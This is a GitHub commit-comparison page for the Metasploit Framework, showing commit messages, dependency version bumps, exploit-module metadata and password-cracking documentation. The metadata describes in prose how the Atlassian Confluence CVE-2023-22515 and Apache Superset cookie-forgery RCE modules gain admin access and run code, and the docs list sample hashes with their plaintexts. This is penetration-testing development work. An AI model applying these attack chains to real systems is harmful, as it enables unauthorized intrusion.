Compare commits

...

67 Commits

Author SHA1 Message Date
dwelch-r7 7baabd08db Land #18364, Add support for filtering sessions 2023-10-19 16:40:42 +01:00
Zach Goldman b4b73529d3 add -e flag for stale sessions
remove single flag

pivot to search flag

added support for search session type

adds search session id support

remove stale references

reshuffle code

fix time parsing, add command support

fix search list, reduce duplicated code

testing added

killall with search lists table of killed sessions

sessions are no longer represented by ids

addresses feedback on code structure and search behavior

some test reshuffling, switch raised errors to printed ones

add checkin validation, rest of cmd_sessions tests

add time parsing test

refactoring

test reformatting and adjusted error validation

make error handling more explicit, add test context

fixes

sub quotes, make constant

rubocopping

switch before and after to greater than and less than

mbetter incorporate constants

update example
2023-10-19 09:41:18 -05:00
Metasploit dba2ac88f0 automatic module_metadata_base.json update 2023-10-19 03:44:02 -05:00
Christophe De La Fuente da9d04d32d Land #18461, CVE-2023-22515 - Atlassian Confluence unauthenticated RCE 2023-10-19 10:22:57 +02:00
sfewer-r7 c63aaba760 add in documentation for Options 2023-10-18 10:05:05 +01:00
sfewer-r7 5e84f57ab3 set :random to true during generate_jar so we can randomize teh metasploit class path 2023-10-18 09:53:46 +01:00
sfewer-r7 fcffd36af0 no need to test for true, jsut return the value as we are waiting for done to be set to true 2023-10-18 09:37:04 +01:00
sfewer-r7 9fdbccb74f catch a JSON ParserError exception and fail_with() if needed. Also detect if the JSON data doesnt have the expected value and fail_with() if needed 2023-10-18 09:36:02 +01:00
sfewer-r7 34107e4f3b favod over for string concatenation. 2023-10-17 11:36:07 +01:00
sfewer-r7 0fc35bf6d3 randomize the plugins version number 2023-10-17 10:01:02 +01:00
sfewer-r7 415bd49b15 use next semantics to return from a yielded block early (note we cannot use return for this) 2023-10-17 09:43:00 +01:00
sfewer-r7 54f334479a fix another typo 2023-10-17 09:30:52 +01:00
sfewer-r7 9e6e9538e1 typo 2023-10-17 09:29:38 +01:00
sfewer-r7 d2438bad4e add a note to explain we need to concat a trailing forward slash 2023-10-17 09:28:04 +01:00
sfewer-r7 4acdaf3087 typos 2023-10-17 09:22:09 +01:00
sfewer-r7 d17f065f12 remove 'localhost' in favor of some random chars 2023-10-17 09:21:28 +01:00
sfewer-r7 3242a7009b clarify timeout is in seconds 2023-10-17 09:11:05 +01:00
sfewer-r7 b97cb9f63d remove whitespace 2023-10-17 09:10:28 +01:00
sfewer-r7 1c027ac05c add an RCE exploit for CVE-2023-22515 2023-10-16 20:50:18 +01:00
adfoster-r7 ec5648f6c5 Land #18452, Update Writing Module Docs to reference msftidy_docs.rb 2023-10-13 17:55:16 +01:00
jheysel-r7 4ff3c0f102 Update docs/metasploit-framework.wiki/Writing-Module-Documentation.md 2023-10-13 11:58:01 -04:00
Jack Heysel 2464c43151 Update Writing Module Docs to reference msftidy_docs.rb 2023-10-13 11:26:19 -04:00
Jack Heysel 718cdd9a6b Land #18428, Add mssql_login docs
This PR adds a documentation file for the mssql_login scanner.
2023-10-13 10:56:58 -04:00
cgranleese-r7 d2607c7a77 Land #18451, Update creds cracked password to work with remote database 2023-10-13 13:15:59 +01:00
Metasploit 5d6b63c8ef automatic module_metadata_base.json update 2023-10-13 06:51:04 -05:00
adfoster-r7 941c44f9ad Update creds cracked password to work with remote database 2023-10-13 12:30:27 +01:00
adfoster-r7 bb19151891 Land #17689, adding a new column cracked password in creds command to show cracked passwords 2023-10-13 12:25:51 +01:00
cgranleese-r7 44e5a93add Land #18442, Improve stability of msfdb initialization on windows environments 2023-10-13 12:21:02 +01:00
cgranleese-r7 e1a307e03a Land #18450, Add support for ruby 3.3.0-preview2 2023-10-13 11:55:43 +01:00
cgranleese-r7 9def455f65 Land #18449, Update mysql authbypass hashdump module to correctly close sockets 2023-10-13 11:43:59 +01:00
cgranleese-r7 a1b3c8dc5f Land #18438, Improve UX for database management prompts 2023-10-13 11:16:37 +01:00
adfoster-r7 5f6b8dc7ef Land #18381, Add option to reload all libs when calling run or check on a module 2023-10-13 11:06:10 +01:00
cgranleese-r7 03433652e8 Land #18443, Fix reverse ssh handler warnings on windows bootup 2023-10-13 10:24:31 +01:00
adfoster-r7 b81252e34f Add support for ruby 3.3.0-preview2 2023-10-13 01:41:10 +01:00
Metasploit 2163c51a2e automatic module_metadata_base.json update 2023-10-12 16:34:40 -05:00
Spencer McIntyre 05dd2e1473 Land #18351, Apache Superset RCE (CVE-2023-37941) 2023-10-12 17:10:10 -04:00
jheysel-r7 82a1dfa9ff Added new line at EOF 2023-10-12 16:17:20 -04:00
jheysel-r7 820f806a5e Apply suggestions from code review 2023-10-12 15:56:08 -04:00
jheysel-r7 77694db215 Apply suggestions from code review 2023-10-12 15:53:48 -04:00
jheysel-r7 6c035dada0 Apply suggestions from msftidy_docs 2023-10-12 15:53:26 -04:00
Metasploit fb77febe3e Bump version of framework to 6.3.39 2023-10-12 12:08:36 -05:00
adfoster-r7 075fe09c2f Fix mysql authbypass running out of sockets 2023-10-12 17:40:33 +01:00
h00die 862a7930dc Merge pull request #25 from smcintyre-r7/pr/collab/18351
Pr/collab/18351
2023-10-11 15:30:28 -04:00
Spencer McIntyre 45be501a50 Raise a more specific error message
Check for and raise a more specific error message when the internal
database fails to mount because the path is incorrect.
2023-10-10 15:21:35 -04:00
Spencer McIntyre 47b0c01d58 Make the add_equals_to_base64 function private 2023-10-10 14:16:56 -04:00
Spencer McIntyre 59da2865d9 Use an exec-in-place gadget for Python
This adds a Python deserialization gadget that will exec arbitrary
Python code in place. It is only compatible with Python 3.x due to
differences in Python's exec function and statement between 2 and 3.
2023-10-10 14:01:24 -04:00
adfoster-r7 0c407945a0 Fix reverse ssh handler warnings on windows bootup 2023-10-10 15:26:24 +01:00
adfoster-r7 723557365a Improve stability of msfdb initialization on windows environments 2023-10-10 15:25:10 +01:00
adfoster-r7 0875cc8f73 Improve UX for databse management prompts 2023-10-09 11:04:34 +01:00
aleksa 1bd7d25088 mssql_login documentation added. 2023-10-05 17:06:11 -04:00
sjanusz-r7 126c19890a Add option to reload all libs when running a module 2023-10-04 14:59:36 +01:00
h00die 77c299d44b review comments 2023-09-21 06:45:27 -04:00
h00die e34ed10eca superset rce more stable 2023-09-15 16:29:05 -04:00
h00die a8da47e73c still working on resetting values 2023-09-15 13:32:24 -04:00
h00die 0c418fdf65 still working on resetting values 2023-09-14 14:28:29 -04:00
h00die 619a46d450 working hashes for apache superset rce 2023-09-14 13:21:01 -04:00
h00die 686d704b37 superset rce wip 2023-09-13 15:26:29 -04:00
manishkumarr1017 87582ee5c9 PR Review changes 2023-06-23 13:14:48 +05:30
manishkumarr1017 375a91e4f7 Merge branch 'rapid7:master' into add_new_column_in_creds 2023-06-23 11:35:34 +05:30
manishkumarr1017 bd9591f621 changing nil datatype to string datatype for the column display 2023-05-19 19:11:06 +05:30
manishkumarr1017 df4a5b9d69 Merge branch 'master' of github.com:manishkumarr1017/metasploit-framework into add_new_column_in_creds 2023-05-19 18:45:38 +05:30
manishkumarr1017 4aea945be3 fixing the failed specs by keeping the exact output necessary 2023-03-18 23:24:00 +05:30
manishkumarr1017 02608a4e12 adding extra specs for the new enhancement and optimizing the queries 2023-03-18 23:04:55 +05:30
manishkumarr1017 dc97b33f4a Merge branch 'rapid7:master' into add_new_column_in_creds 2023-03-18 20:45:41 +05:30
Grant Willcox 28a2bcf9d7 Fix calculation of delete_count size 2023-03-06 12:30:06 -06:00
manishkumarr1017 60113f74b7 fixing spec files for creds command new enhancements 2023-03-01 23:27:18 +05:30
manishkumarr1017 cae7f8c350 adding a new column cracked password in creds command to show cracked passwords 2023-02-23 15:01:51 +05:30
37 changed files with 2539 additions and 221 deletions
+1 -1
View File
@@ -67,7 +67,7 @@ jobs:
- '3.0'
- '3.1'
- '3.2'
- '3.3.0-preview1'
- '3.3.0-preview2'
os:
- ubuntu-20.04
- ubuntu-latest
+1 -1
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.3.38)
metasploit-framework (6.3.39)
actionpack (~> 7.0.0)
activerecord (~> 7.0.0)
activesupport (~> 7.0.0)
+81 -79
View File
@@ -1,27 +1,28 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 7.0.5, MIT
actionview, 7.0.5, MIT
activemodel, 7.0.5, MIT
activerecord, 7.0.5, MIT
activesupport, 7.0.5, MIT
addressable, 2.8.4, "Apache 2.0"
actionpack, 7.0.8, MIT
actionview, 7.0.8, MIT
activemodel, 7.0.8, MIT
activerecord, 7.0.8, MIT
activesupport, 7.0.8, MIT
addressable, 2.8.5, "Apache 2.0"
afm, 0.2.2, MIT
allure-rspec, 2.22.0, "Apache 2.0"
allure-ruby-commons, 2.22.0, "Apache 2.0"
allure-rspec, 2.23.0, "Apache 2.0"
allure-ruby-commons, 2.23.0, "Apache 2.0"
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.776.0, "Apache 2.0"
aws-sdk-core, 3.174.0, "Apache 2.0"
aws-sdk-ec2, 1.382.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.27.0, "Apache 2.0"
aws-sdk-iam, 1.79.0, "Apache 2.0"
aws-sdk-kms, 1.66.0, "Apache 2.0"
aws-sdk-s3, 1.123.1, "Apache 2.0"
aws-sdk-ssm, 1.151.0, "Apache 2.0"
aws-sigv4, 1.5.2, "Apache 2.0"
bcrypt, 3.1.18, MIT
aws-partitions, 1.834.0, "Apache 2.0"
aws-sdk-core, 3.185.1, "Apache 2.0"
aws-sdk-ec2, 1.411.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.34.0, "Apache 2.0"
aws-sdk-iam, 1.87.0, "Apache 2.0"
aws-sdk-kms, 1.72.0, "Apache 2.0"
aws-sdk-s3, 1.136.0, "Apache 2.0"
aws-sdk-ssm, 1.158.0, "Apache 2.0"
aws-sigv4, 1.6.0, "Apache 2.0"
base64, 0.1.1, "ruby, Simplified BSD"
bcrypt, 3.1.19, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.15, "Simplified BSD"
bootsnap, 1.16.0, MIT
@@ -48,12 +49,12 @@ erubi, 1.12.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 3.2.0, MIT
faraday, 2.7.6, MIT
faker, 3.2.1, MIT
faraday, 2.7.11, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.2.0, MIT
faye-websocket, 0.11.2, "Apache 2.0"
ffi, 1.15.5, "New BSD"
faye-websocket, 0.11.3, "Apache 2.0"
ffi, 1.16.3, "New BSD"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
gssapi, 1.3.1, MIT
@@ -66,38 +67,39 @@ http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.14.1, MIT
io-console, 0.6.0, "ruby, Simplified BSD"
irb, 1.7.0, "ruby, Simplified BSD"
irb, 1.7.4, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.3, ruby
language_server-protocol, 3.17.0.3, MIT
little-plugger, 1.1.4, MIT
logging, 2.3.1, MIT
loofah, 2.21.3, MIT
macaddr, 1.7.2, ruby
memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.1, "New BSD"
metasploit-credential, 6.0.5, "New BSD"
metasploit-framework, 6.3.38, "New BSD"
metasploit-model, 5.0.1, "New BSD"
metasploit-concern, 5.0.2, "New BSD"
metasploit-credential, 6.0.6, "New BSD"
metasploit-framework, 6.3.39, "New BSD"
metasploit-model, 5.0.2, "New BSD"
metasploit-payloads, 2.0.156, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
metasploit_data_models, 6.0.3, "New BSD"
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mime-types, 3.4.1, MIT
mime-types-data, 3.2023.0218.1, MIT
mini_portile2, 2.8.2, MIT
minitest, 5.18.0, MIT
mime-types, 3.5.1, MIT
mime-types-data, 3.2023.1003, MIT
mini_portile2, 2.8.4, MIT
minitest, 5.20.0, MIT
mqtt, 0.6.0, MIT
msgpack, 1.6.1, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 3.0.0, MIT
nessus_rest, 0.1.6, MIT
net-imap, 0.3.7, "ruby, Simplified BSD"
net-imap, 0.4.0, "ruby, Simplified BSD"
net-ldap, 0.18.0, MIT
net-protocol, 0.2.1, "ruby, Simplified BSD"
net-smtp, 0.3.3, "ruby, Simplified BSD"
net-ssh, 7.1.0, MIT
net-smtp, 0.4.0, "ruby, Simplified BSD"
net-ssh, 7.2.0, MIT
network_interface, 0.0.4, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.9, MIT
@@ -109,62 +111,62 @@ openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 2.0.0, "New BSD"
parallel, 1.23.0, MIT
parser, 3.2.2.3, MIT
parser, 3.2.2.4, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.11.0, MIT
pg, 1.5.3, "Simplified BSD"
pg, 1.5.4, "Simplified BSD"
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
public_suffix, 5.0.1, MIT
puma, 6.3.0, "New BSD"
racc, 1.7.0, "ruby, Simplified BSD"
rack, 2.2.7, MIT
rack-protection, 3.0.6, MIT
public_suffix, 5.0.3, MIT
puma, 6.4.0, "New BSD"
racc, 1.7.1, "ruby, Simplified BSD"
rack, 2.2.8, MIT
rack-protection, 3.1.0, MIT
rack-test, 2.1.0, MIT
rails-dom-testing, 2.0.3, MIT
rails-dom-testing, 2.2.0, MIT
rails-html-sanitizer, 1.6.0, MIT
railties, 7.0.5, MIT
railties, 7.0.8, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rasn1, 0.12.1, MIT
rb-readline, 0.5.5, BSD
recog, 3.1.1, unknown
recog, 3.1.2, unknown
redcarpet, 3.6.0, MIT
regexp_parser, 2.8.0, MIT
reline, 0.3.5, ruby
regexp_parser, 2.8.1, MIT
reline, 0.3.8, ruby
require_all, 3.0.0, MIT
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-arch, 0.1.15, "New BSD"
rex-bin_tools, 0.1.9, "New BSD"
rex-core, 0.1.31, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.38, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.7, "New BSD"
rex-nop, 0.1.2, "New BSD"
rex-ole, 0.1.7, "New BSD"
rex-powershell, 0.1.97, "New BSD"
rex-random_identifier, 0.1.10, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-encoder, 0.1.7, "New BSD"
rex-exploitation, 0.1.39, "New BSD"
rex-java, 0.1.7, "New BSD"
rex-mime, 0.1.8, "New BSD"
rex-nop, 0.1.3, "New BSD"
rex-ole, 0.1.8, "New BSD"
rex-powershell, 0.1.99, "New BSD"
rex-random_identifier, 0.1.11, "New BSD"
rex-registry, 0.1.5, "New BSD"
rex-rop_builder, 0.1.5, "New BSD"
rex-socket, 0.1.54, "New BSD"
rex-sslscan, 0.1.9, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.52, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rex-sslscan, 0.1.10, "New BSD"
rex-struct2, 0.1.4, "New BSD"
rex-text, 0.2.53, "New BSD"
rex-zip, 0.1.5, "New BSD"
rexml, 3.2.6, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.12.0, MIT
rspec-core, 3.12.2, MIT
rspec-expectations, 3.12.3, MIT
rspec-mocks, 3.12.5, MIT
rspec-mocks, 3.12.6, MIT
rspec-rails, 6.0.3, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.12.0, MIT
rubocop, 1.52.0, MIT
rspec-support, 3.12.1, MIT
rubocop, 1.56.4, MIT
rubocop-ast, 1.29.0, MIT
ruby-macho, 3.0.0, MIT
ruby-mysql, 4.0.0, MIT
ruby-macho, 4.0.0, MIT
ruby-mysql, 4.1.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
@@ -176,34 +178,34 @@ sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 3.0.6, MIT
sqlite3, 1.6.3, "New BSD"
sshkey, 2.0.0, MIT
sinatra, 3.1.0, MIT
sqlite3, 1.6.6, "New BSD"
sshkey, 3.0.0, MIT
strptime, 0.2.5, "Simplified BSD"
swagger-blocks, 3.0.0, MIT
systemu, 2.6.5, ruby
test-prof, 1.2.2, MIT
test-prof, 1.2.3, MIT
thin, 1.8.2, "GPL-2.0+, ruby"
thor, 1.2.2, MIT
tilt, 2.2.0, MIT
timecop, 0.9.6, MIT
tilt, 2.3.0, MIT
timecop, 0.9.8, MIT
timeout, 0.4.0, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2023.3, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.4.2, MIT
unicode-display_width, 2.5.0, MIT
unix-crypt, 1.3.1, 0BSD
uuid, 2.3.9, MIT
warden, 1.2.9, MIT
webrick, 1.8.1, "ruby, Simplified BSD"
websocket-driver, 0.7.5, "Apache 2.0"
websocket-driver, 0.7.6, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
win32api, 0.1.0, unknown
windows_error, 0.1.5, BSD
winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
xmlrpc, 0.3.3, "ruby, Simplified BSD"
yard, 0.9.34, MIT
zeitwerk, 2.6.8, MIT
zeitwerk, 2.6.12, MIT
+153 -7
View File
@@ -10307,7 +10307,7 @@
"author": [
"h00die"
],
"description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from various web applications.\n Atlassian uses PBKDF2-HMAC-SHA1 which is 12001 in hashcat.\n PHPass uses phpass which is 400 in hashcat.\n Mediawiki is MD5 based and is 3711 in hashcat.",
"description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from various web applications.\n Atlassian uses PBKDF2-HMAC-SHA1 which is 12001 in hashcat.\n PHPass uses phpass which is 400 in hashcat.\n Mediawiki is MD5 based and is 3711 in hashcat.\n Apache Superset, some Flask and Werkzeug apps is pbkdf2-sha256 and is 10900 in hashcat",
"references": [
],
@@ -10321,7 +10321,7 @@
],
"targets": null,
"mod_time": "2021-01-27 13:50:39 +0000",
"mod_time": "2023-09-14 13:21:01 +0000",
"path": "/modules/auxiliary/analyze/crack_webapps.rb",
"is_install_path": true,
"ref_name": "analyze/crack_webapps",
@@ -17559,7 +17559,7 @@
"https"
],
"targets": null,
"mod_time": "2023-09-12 15:52:58 +0000",
"mod_time": "2023-09-14 13:21:01 +0000",
"path": "/modules/auxiliary/gather/apache_superset_cookie_sig_priv_esc.rb",
"is_install_path": true,
"ref_name": "gather/apache_superset_cookie_sig_priv_esc",
@@ -17575,6 +17575,9 @@
],
"SideEffects": [
"ioc-in-logs"
],
"RelatedModules": [
"exploit/linux/http/apache_superset_cookie_sig_rce"
]
},
"session_types": false,
@@ -42551,7 +42554,7 @@
],
"targets": null,
"mod_time": "2023-08-17 19:07:28 +0000",
"mod_time": "2023-10-12 17:39:47 +0000",
"path": "/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb",
"is_install_path": true,
"ref_name": "scanner/mysql/mysql_authbypass_hashdump",
@@ -61222,6 +61225,78 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/apache_superset_cookie_sig_rce": {
"name": "Apache Superset Signed Cookie RCE",
"fullname": "exploit/linux/http/apache_superset_cookie_sig_rce",
"aliases": [
],
"rank": 400,
"disclosure_date": "2023-09-06",
"type": "exploit",
"author": [
"h00die",
"paradoxis",
"Spencer McIntyre",
"Naveen Sunkavally"
],
"description": "Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.\n These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that\n of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the\n Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be\n set for that dashboard within Superset's database which will trigger the RCE.\n\n An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.",
"references": [
"URL-https://github.com/Paradoxis/Flask-Unsign",
"URL-https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/",
"URL-https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/",
"URL-https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/",
"URL-https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py",
"EDB-51447",
"CVE-2023-27524",
"CVE-2023-37941",
"CVE-2023-39265"
],
"platform": "Python",
"arch": "python",
"rport": 8088,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic Target"
],
"mod_time": "2023-10-10 15:21:35 +0000",
"path": "/modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/apache_superset_cookie_sig_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"config-changes"
],
"RelatedModules": [
"auxiliary/gather/apache_superset_cookie_sig_priv_esc"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection": {
"name": "Artica proxy 4.30.000000 Auth Bypass service-cmds-peform Command Injection",
"fullname": "exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection",
@@ -89126,6 +89201,66 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/atlassian_confluence_rce_cve_2023_22515": {
"name": "Atlassian Confluence Unauthenticated Remote Code Execution",
"fullname": "exploit/multi/http/atlassian_confluence_rce_cve_2023_22515",
"aliases": [
],
"rank": 600,
"disclosure_date": "2023-10-04",
"type": "exploit",
"author": [
"sfewer-r7"
],
"description": "This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP\n parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for\n Java objects to be modified at run time. The exploit will create a new administrator user and upload a\n malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,\n 8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.",
"references": [
"CVE-2023-22515",
"URL-https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis",
"URL-https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html"
],
"platform": "",
"arch": "",
"rport": 8090,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic"
],
"mod_time": "2023-10-18 09:53:46 +0000",
"path": "/modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb",
"is_install_path": true,
"ref_name": "multi/http/atlassian_confluence_rce_cve_2023_22515",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/atlassian_confluence_webwork_ognl_injection": {
"name": "Atlassian Confluence WebWork OGNL Injection",
"fullname": "exploit/multi/http/atlassian_confluence_webwork_ognl_injection",
@@ -247590,7 +247725,7 @@
"author": [
"Joshua Abraham <jabra@rapid7.com>"
],
"description": "This module will enumerate computers included in the primary Domain.",
"description": "This module will enumerate computers included in the primary Active Directory domain.",
"references": [
],
@@ -247600,7 +247735,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2023-02-08 13:47:34 +0000",
"mod_time": "2023-10-12 10:59:29 +0000",
"path": "/modules/post/windows/gather/enum_computers.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_computers",
@@ -247608,9 +247743,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
"meterpreter",
"powershell",
"shell"
],
"needs_cleanup": null
},
@@ -84,6 +84,7 @@ This section will cover the differences between the two crackers. This is not a
| md5 (raw, unicode) | Raw-MD5u | 30 (with an empty salt) |
| NetNTLMv1 | netntlm | 5500 |
| NetNTLMv2 | netntlmv2 | 5600 |
| pbkdf2-sha256 | PBKDF2-HMAC-SHA256 | 10900 |
While Metasploit standardizes with the JtR format, the hashcat [library](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb) includes the `jtr_format_to_hashcat_format` function to translate from jtr to hashcat.
@@ -154,42 +155,43 @@ creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
## other
creds add user:hmac_password hash:'<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9' jtr:hmac-md5
creds add user:vmware_ldap hash:'$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6' jtr:dynamic_82
creds add user:admin hash:'$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU' jtr:pbkdf2-sha256
```
This data breaks down to the following table:
| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this |
| ------------------------------------ | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ---------------- | ------------------------------------------------ | --------------------------------------------------------- |
| ----------- | ---------- | ------ | ---------- | ------------ | ------------------------------ | ------------------------- |
| DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux |
| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/crack_linux |
| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/crack_linux |
| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/crack_linux |
| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/crack_linux |
| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/crack_linux |
| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/crack_windows |
| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/crack_windows |
| NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows |
| NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows |
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
